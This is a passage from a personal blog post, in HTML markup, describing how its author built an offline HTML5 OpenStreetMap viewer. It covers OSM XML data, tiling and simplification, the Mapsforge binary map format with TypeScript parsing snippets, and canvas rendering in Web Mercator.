&gt;PDF&lt;/a&gt;.&lt;/p&gt;
&lt;figure&gt;
&lt;a href='https://george.honeywood.org.uk/blog/map-from-the-ground-up/images/header_hu_5424764a89d097ba.webp'&gt;
&lt;picture&gt;
&lt;source
type="image/webp"
srcset="https://george.honeywood.org.uk/blog/map-from-the-ground-up/images/header_hu_37342322afd902a2.webp 320w, https://george.honeywood.org.uk/blog/map-from-the-ground-up/images/header_hu_15b5586d1efba900.webp 640w, https://george.honeywood.org.uk/blog/map-from-the-ground-up/images/header_hu_be3c1f72ed0be95a.webp 960w, https://george.honeywood.org.uk/blog/map-from-the-ground-up/images/header_hu_a75cb457d8dfd663.webp 1280w"
sizes="(max-width: 600px) 100vw, 600px"
/&gt;
&lt;img
style=""
src='https://george.honeywood.org.uk/blog/map-from-the-ground-up/images/header_hu_7c65fba08a4e77.jpg'
width="1502"
height="877"
alt='Screenshot of the OSMO app, showing central London'
/&gt;
&lt;/picture&gt;
&lt;/a&gt;
&lt;/figure&gt;
&lt;p&gt;Building an offline HTML5 map application is a slightly weird thing to do. Most web maps are decidedly online, fetching tiles dynamically from a tile sever whenever they are required. Most offline map applications are native apps for mobile devices, which fulfil the main use case for an offline map, navigation. However, it is possible to build offline web apps, through technologies like Service Workers, and it seemed like a good opportunity for me to understand the lower levels of how web maps work.&lt;/p&gt;
&lt;p&gt;What follows is less of a summary of how a digital map is built, and more of a description of the things I found interesting along the way.&lt;/p&gt;
&lt;h2 id="openstreetmap-data"&gt;OpenStreetMap data&lt;/h2&gt;
&lt;p&gt;First, you need data to render. Raw OpenStreetMap data comes in either XML, or a more efficient, but semantically similar binary representation, known as PBF. Neither of these are particularly suitable for rendering a map from &amp;ndash; they are instead designed to simplify editing. Here is an example of a building in raw OSM XML:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-xml" data-lang="xml"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;osm&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;version=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;0.6&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;generator=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;CGImap 0.8.8 (2471524 spike-07.openstreetmap.org)&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;copyright=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;OpenStreetMap and contributors&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;attribution=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;http://www.openstreetmap.org/copyright&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;license=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;http://opendatacommons.org/licenses/odbl/1-0/&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;way&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;id=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;590592938&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;visible=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;true&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;version=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;4&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;changeset=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;122480423&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;timestamp=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;2022-06-16T20:22:59Z&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;user=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;GeorgeHoneywood&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;uid=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;10031443&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;nd&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;ref=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;5638445937&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;/&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;nd&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;ref=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;5638445938&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;/&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;nd&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;ref=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;5638445939&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;/&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;nd&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;ref=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;5638445940&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;/&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;nd&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;ref=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;5638445937&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;/&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;tag&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;k=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;addr:housenumber&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;v=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;21&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;/&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;tag&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;k=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;addr:street&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;v=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;Locksley Drive&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;/&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;tag&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;k=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;building&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;v=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;detached&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;/&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;/way&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;node&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;id=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;5638445937&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;lat=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;50.7929905&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;lon=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;-1.8975593&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;visible=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;true&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;version=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;3&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;changeset=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;85567769&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;timestamp=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;2020-05-21T17:50:39Z&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;user=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;GeorgeHoneywood&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;uid=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;10031443&amp;#34;&lt;/span&gt; &lt;span style="color:#f92672"&gt;/&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; [... more nodes ...]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;/osm&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Instead of the shape of this building being directly represented (like a GeoJSON LineString), a way is made up of constituent nodes, which can then be looked up by ID, to find their position, to derive the geometry of a building. Each of these ways is linearly stored in the file, one after the other, with no geospatial indexing.&lt;/p&gt;
&lt;h2 id="performance-considerations"&gt;Performance considerations&lt;/h2&gt;
&lt;p&gt;In order to allow for real-time rendering of a map, we have to make two main optimizations: tiling, and zoom simplification. These are both processes that have to be done in advance.&lt;/p&gt;
&lt;p&gt;Tiling is the process of splitting the map data into a grid of tiles. Dividing the area up into a grid means that we only need to send (and render) the data currently within the clients&amp;rsquo; viewport. For example, if a user is zoomed in on Trafalgar Square in London, there is no point sending detailed map data for the whole of the UK, or even the whole of London, as it will not be on the screen. Each zoom level has its own set of tiles, and these can be accessed through Z/X/Y coordinates, where the maximum X/Y values double as Z increases by one.&lt;/p&gt;
&lt;p&gt;Simplification is less relevant for a zoomed in view, but is very necessary for a zoomed out region or country zoom level. It is simply not possible (in real time) to render all the detail of a whole country &amp;ndash; and besides, rendering the exact geometry of a road is not necessary, as it can&amp;rsquo;t be seen from the zoomed out view. Therefore, in advance, we must simplify the data in order to remove unnecessary detail. This is effectively invisible to the user if executed well, as it should only remove what is imperceptible. The Douglas-Peucker algorithm is a popular algorithm for achieving this, but some manual tag-based checks are also required, so that you only preserve large roads and other important details when zoomed out.&lt;/p&gt;
&lt;p&gt;As part of this, you need to decide at how many zoom levels you provide simplified versions of the geometry. There is a trade-off here &amp;ndash; if you stored a simplified version for every zoom level between 1 and 20, the versions only one level apart will basically be duplicates, storing almost the same data, wasting space. For the zoom levels you don&amp;rsquo;t store a simplified version for, you can either &amp;ldquo;under-zoom&amp;rdquo; a more detailed one, or &amp;ldquo;over-zoom&amp;rdquo; in the other direction. For example, if you stored a simplified copy at zoom 14, you could still render data at z12, albeit at a performance loss, as you are rendering unperceivable details. Equally, you could also render at z16, but the artefacts introduced by simplification may become visible.&lt;/p&gt;
&lt;figure&gt;
&lt;a href='https://george.honeywood.org.uk/blog/map-from-the-ground-up/images/overzoom-artifacts_hu_90f87cb1ee73eef8.webp'&gt;
&lt;picture&gt;
&lt;source
type="image/webp"
srcset="https://george.honeywood.org.uk/blog/map-from-the-ground-up/images/overzoom-artifacts_hu_d0d377027832b29.webp 320w, https://george.honeywood.org.uk/blog/map-from-the-ground-up/images/overzoom-artifacts_hu_bd04c08d2b3f995a.webp 640w, https://george.honeywood.org.uk/blog/map-from-the-ground-up/images/overzoom-artifacts_hu_d97833251b929be0.webp 960w, https://george.honeywood.org.uk/blog/map-from-the-ground-up/images/overzoom-artifacts_hu_afa081a36a17f458.webp 1280w"
sizes="(max-width: 600px) 100vw, 600px"
/&gt;
&lt;img
style=""
src='https://george.honeywood.org.uk/blog/map-from-the-ground-up/images/overzoom-artifacts_hu_a855b041527f033d.jpg'
width="1502"
height="876"
loading="lazy"
alt='Screenshot of OSMO showing artifacts from overzooming too far'
/&gt;
&lt;/picture&gt;
&lt;/a&gt;
&lt;figcaption&gt;
Crunchy geometries that result from overzooming a tile too far
&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;h2 id="mapsforge-file-format"&gt;Mapsforge file format&lt;/h2&gt;
&lt;p&gt;Developing my own map file format that handles both of these issues would have been a significant undertaking, so I decided that using an existing option would the best strategy. Luckily for me, the &lt;a href="https://github.com/mapsforge/mapsforge"
target="_blank" rel="noreferrer noopener"
&gt;Mapsforge project&lt;/a&gt; has developed a &lt;a href="https://github.com/mapsforge/mapsforge/blob/master/docs/Specification-Binary-Map-File.md"
target="_blank" rel="noreferrer noopener"
&gt;file format&lt;/a&gt; which satisfies both of these requirements.&lt;/p&gt;
&lt;p&gt;As far as I can tell, there is not an existing library for reading Mapsforge format map files in JavaScript/TypeScript, apart from this effort by &lt;a href="https://github.com/TomasHubelbauer/mapsforge/blob/main/index.js"
target="_blank" rel="noreferrer noopener"
&gt;ThomasHubelbauer&lt;/a&gt; &amp;ndash; which goes as far as decoding the file header.&lt;/p&gt;
&lt;p&gt;The basic structure of the Mapsforge file format is as follows (see the &lt;a href="https://github.com/mapsforge/mapsforge/blob/master/docs/Specification-Binary-Map-File.md"
target="_blank" rel="noreferrer noopener"
&gt;specification for details&lt;/a&gt;):&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Header: contains metadata about the map, such as bounding boxes, and details about the zoom levels that simplified geometry is stored for (hence referred to as &amp;ldquo;zoom intervals&amp;rdquo;).&lt;/li&gt;
&lt;li&gt;For each zoom interval, a subfile, which itself contains:
&lt;ul&gt;
&lt;li&gt;An index, allowing you to locate simplified tile data via Z/X/Y tile coordinates.&lt;/li&gt;
&lt;li&gt;The simplified tile data itself, first Point of Interest (PoI) data, then Way data.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;There are a number of neat tricks the format uses to eke out extra performance. For example, each zoom simplified tile is stored with a &amp;ldquo;zoom table&amp;rdquo;, which is used to limit the number of features that are rendered if a tile is being over-zoomed or under-zoomed. This seems a little odd, but as the data is stored in a priority order, Ways/PoIs that should be rendered at the lowest zooms are stored first, and therefore if we just stop rendering features after the depth specified in the zoom table, we can render extra features as we zoom, even though we are only storing a single simplified version of the tile. Therefore, roads will be stored before buildings, so when at a low zoom, we can simply stop after rendering the roads, avoiding rendering buildings.&lt;/p&gt;
&lt;figure&gt;
&lt;video
class="video-shortcode"
autoplay
loop
width="1084"
height="720"
style="aspect-ratio: 1084 / 720" &gt;
&lt;source src="https://george.honeywood.org.uk/blog/map-from-the-ground-up/images/zoom-table-1084x720.mp4" type="video/mp4"&gt;
There should have been a video here, but your browser does not seem
to support it.
You can try visiting &lt;a href="https://george.honeywood.org.uk/blog/map-from-the-ground-up/images/zoom-table-1084x720.mp4"&gt;/blog/map-from-the-ground-up/images/zoom-table-1084x720.mp4&lt;/a&gt; instead.
&lt;/video&gt;
&lt;figcaption&gt;
Zoom table limiting the amount of features rendered from a tile
&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;Another more common trick the file format uses is delta (and double-delta) encoding. This is a useful technique for reducing the amount of space required to encode a sequence of numbers. The idea is that instead of storing a series of numbers like &lt;code&gt;[50, 52, 48, 60]&lt;/code&gt;, you instead store a start point, such as &lt;code&gt;50&lt;/code&gt;, and then also the difference between each number and the previous one, such as &lt;code&gt;[2, -4, 12]&lt;/code&gt;. This approach is valuable for the map use case, as the majority of points will near the previous one, hence giving us delta values that are much smaller in magnitude than raw coords. Double-delta encoding takes this a step further, storing the difference between the deltas &amp;mdash; the Mapsforge file writer &lt;a href="https://github.com/mapsforge/mapsforge/blob/b028ff0cf8c51810c8801835a734906e65b3f074/mapsforge-map-writer/src/main/java/org/mapsforge/map/writer/MapFileWriter.java#L213-L223"
target="_blank" rel="noreferrer noopener"
&gt;opportunistically uses this approach&lt;/a&gt; when it results in a smaller file size.&lt;/p&gt;
&lt;p&gt;In a similar vein to storing way coordinates with delta encoding, all coordinates in a tile are stored relative to the origin of the tile. This once again cuts down the magnitude of the numbers you are storing. Another nice technique is the encoding of coordinate values. Although you might assume that a coordinate, such as (54.6195, -3.0778), would be stored as two floating point numbers, they instead store coordinates as integer values in microdegrees &amp;mdash; i.e. degrees × 10^6. This saves some space compared to storing floats, without compromising precision.&lt;/p&gt;
&lt;p&gt;They also use a variable-length encoding scheme for integers, allowing both large and small numbers to be stored in the same format, without losing too much efficiency. For example, the naïve approach would be to use 32-bit integers for all numbers, but this would result in space being wasted when storing small delta values (which could fit in an 8-bit int). Therefore, they sacrifice the first bit of each byte as a continuation indicator, and use the remaining 7 bits to store (a part of) the actual value.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-typescript" data-lang="typescript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// decode a variable length _unsigned_ integer as a number
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// this.data is a DataView, and this.offset is the offset we are reading from, in bytes
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;getVUint() {&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// if the first bit is 1, need to read the next byte. the rest of the 7 bits
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;&lt;/span&gt; &lt;span style="color:#75715e"&gt;// are the numeric value, starting with the least significant
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;value&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;shift&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// check if we need to continue
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;while&lt;/span&gt; ((&lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;data&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;getUint8&lt;/span&gt;(&lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;offset&lt;/span&gt;) &lt;span style="color:#f92672"&gt;&amp;amp;&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;b1000_0000&lt;/span&gt;) &lt;span style="color:#f92672"&gt;!=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// if this not the first byte we&amp;#39;ve read, each bit is worth more
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;value&lt;/span&gt; &lt;span style="color:#f92672"&gt;|=&lt;/span&gt; (&lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;data&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;getUint8&lt;/span&gt;(&lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;offset&lt;/span&gt;) &lt;span style="color:#f92672"&gt;&amp;amp;&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;b0111_1111&lt;/span&gt;) &lt;span style="color:#f92672"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;shift&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;offset&lt;/span&gt;&lt;span style="color:#f92672"&gt;++&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;shift&lt;/span&gt; &lt;span style="color:#f92672"&gt;+=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;7&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// read the seven bits from the last byte
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;value&lt;/span&gt; &lt;span style="color:#f92672"&gt;|=&lt;/span&gt; (&lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;data&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;getUint8&lt;/span&gt;(&lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;offset&lt;/span&gt;) &lt;span style="color:#f92672"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;shift&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;offset&lt;/span&gt;&lt;span style="color:#f92672"&gt;++&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;value&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The final trick that I&amp;rsquo;ve already partially discussed is packing multiple values into a single byte. This allows you to store up to 8 flags in 1 byte, instead of a whole byte for each flag. As the minimum you can read from a &lt;code&gt;DataView&lt;/code&gt; is 1 byte, you have to do some bit manipulation to read out the individual boolean flags. This is a bit fiddly, but the space savings add up. Representing the bitmask values in binary with &lt;code&gt;0b&lt;/code&gt; makes it a bit easier to understand what is going on.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-typescript" data-lang="typescript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;flags&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;tile_data&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;getUint8&lt;/span&gt;()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;has_name&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; (&lt;span style="color:#a6e22e"&gt;flags&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;amp;&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;b1000_0000&lt;/span&gt;) &lt;span style="color:#f92672"&gt;!==&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;has_house_number&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; (&lt;span style="color:#a6e22e"&gt;flags&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;amp;&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;b0100_0000&lt;/span&gt;) &lt;span style="color:#f92672"&gt;!==&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;has_elevation&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; (&lt;span style="color:#a6e22e"&gt;flags&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;amp;&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;b0010_0000&lt;/span&gt;) &lt;span style="color:#f92672"&gt;!==&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;As I&amp;rsquo;d never written any binary parsing code before, this was quite an instructive process for me. Although the &lt;a href="https://github.com/mapsforge/mapsforge/blob/master/docs/Specification-Binary-Map-File.md"
target="_blank" rel="noreferrer noopener"
&gt;specification&lt;/a&gt; was very helpful, it was often not exactly obvious how to utilize the decoded data, and there were some confused details. At one point I had to dig into the Java sources of the reference implementation, as the specification did not align with what was actually in the files &lt;sup id="fnref:1"&gt;&lt;a href="#fn:1" class="footnote-ref" role="doc-noteref"&gt;1&lt;/a&gt;&lt;/sup&gt;. I ended up writing a simple hexdump function to help me debug issues with my parser.&lt;/p&gt;
&lt;h2 id="rendering"&gt;Rendering&lt;/h2&gt;
&lt;p&gt;The next step is actually rendering the data. At a basic level this isn&amp;rsquo;t too complicated. You first need to project the coordinates from WGS-84 to your desired projection, in my case Web Mercator. The Web Mercator projection is conformal, meaning it preserves angles (locally) whilst distorting area. Once you&amp;rsquo;ve projected the coordinates, you can draw the data to the canvas. Firstly, to handle translation of the map, you will need x/y offset values, that which will alter what falls within the map viewport.&lt;/p&gt;
&lt;p&gt;In order to handle map zooming, you need to implement a scale factor that you multiply the coordinates values by before drawing them, having the effect of stretching the map out &lt;sup id="fnref:2"&gt;&lt;a href="#fn:2" class="footnote-ref" role="doc-noteref"&gt;2&lt;/a&gt;&lt;/sup&gt;. The complication here is that this will scale about the origin, so you need to will need to dynamically adjust the x/y offsets so that you zoom centred around the mouse position. Although this sounds simple enough, it was one of the things that took the longest to get right, as the maths was fiddly. This is the sort of code that you write, and then have no idea how it works the next day, and I am not proud.&lt;/p&gt;
